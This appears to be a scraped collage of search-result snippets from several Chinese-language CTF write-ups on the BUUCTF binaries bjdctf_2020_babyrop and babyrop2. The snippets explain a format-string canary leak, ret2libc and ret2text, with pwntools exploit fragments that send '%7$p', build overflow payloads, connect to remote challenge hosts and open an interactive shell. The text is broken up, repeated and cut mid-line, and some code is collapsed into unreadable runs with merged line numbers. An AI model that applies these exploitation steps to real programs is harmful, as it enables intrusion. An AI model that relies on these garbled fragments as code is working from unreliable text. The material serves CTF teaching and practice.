把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。 贴一下完整的exp: 1frompwnimport*2importtime34p = process('./bjdctf_2020_babyrop2')5elf = ELF('./bjdctf_2020_babyrop2')6context.log_level ='debug'78p.recv()9payload ='%7$p'10p.sendline(payload)11p.recvuntil('0x')12c...
arch='amd64',log_level='debug')local=1iflocal==0:io=remote('1.14.71.254',28377)else:io=process('/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop2_bjdctf_2020')elf=ELF('/mnt/c/Users/M1sceden4/Desktop/pwn
看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数。我们进入main函数中 在main的gift程序里面我们可以看到明显的格式字符串漏洞,printf没有进行限定输入,所以我们可以通过这个程序获取到canary的值 我们进入程序试验一下,发现当第六个偏移的时候出现...
#p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"}) elf=ELF('bjdctf_2020_babyrop2') puts_plt=elf.plt['puts'] read_got=elf.got['read'] v...
0x05 babyrop2 在ret2libc的基础上增加了canary保护 考点:泄露canary 首先看下gift函数 unsigned __int64 gift() { char format; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u);
from pwn import * p=process('ret2text') sys=p64(0x4006e6) p.sendline('-1') payload='a'*0x10+'a'*8+sys p.sendline(payload) p.interactive() 当然,不想写脚本可以直接python -i一行解决 0x03 babyrop 考点:ret2libc,无libc文件如何查找版本 直接看漏洞函数 ssize_t vuln() { char buf; ...
from pwn import * r = remote('node3.buuoj.cn',29638) elf = ELF('./bjdctf_2020_babyrop2') pop_rdi = 0x400993 libc = ELF('./libc/libc-2.23.so') r.recvuntil('help u!') r.sendline('%7$p') r.recvuntil('0x') canary = int(r.recv(16),16) payload = 'a' * 0x18 + p64...
可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数。我们进入main函数中 在main的gift程序里面我们可以看到明显的格式字符串漏洞,printf没有进行限定输入,所以我们可以通过这个程序获取到canary的值 我们进入程序试验一下,发现当第六个偏移的时候出现了61(%6是查看第6个,...
bjdctf_2020_babyrop来自BUUCTF 这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。
[BUUOJ]bjdctf_2020_babyrop bjdctf_2020_babyrop 先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析 main函数内很简单,进一步分析后找到关键函数vuln 本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对...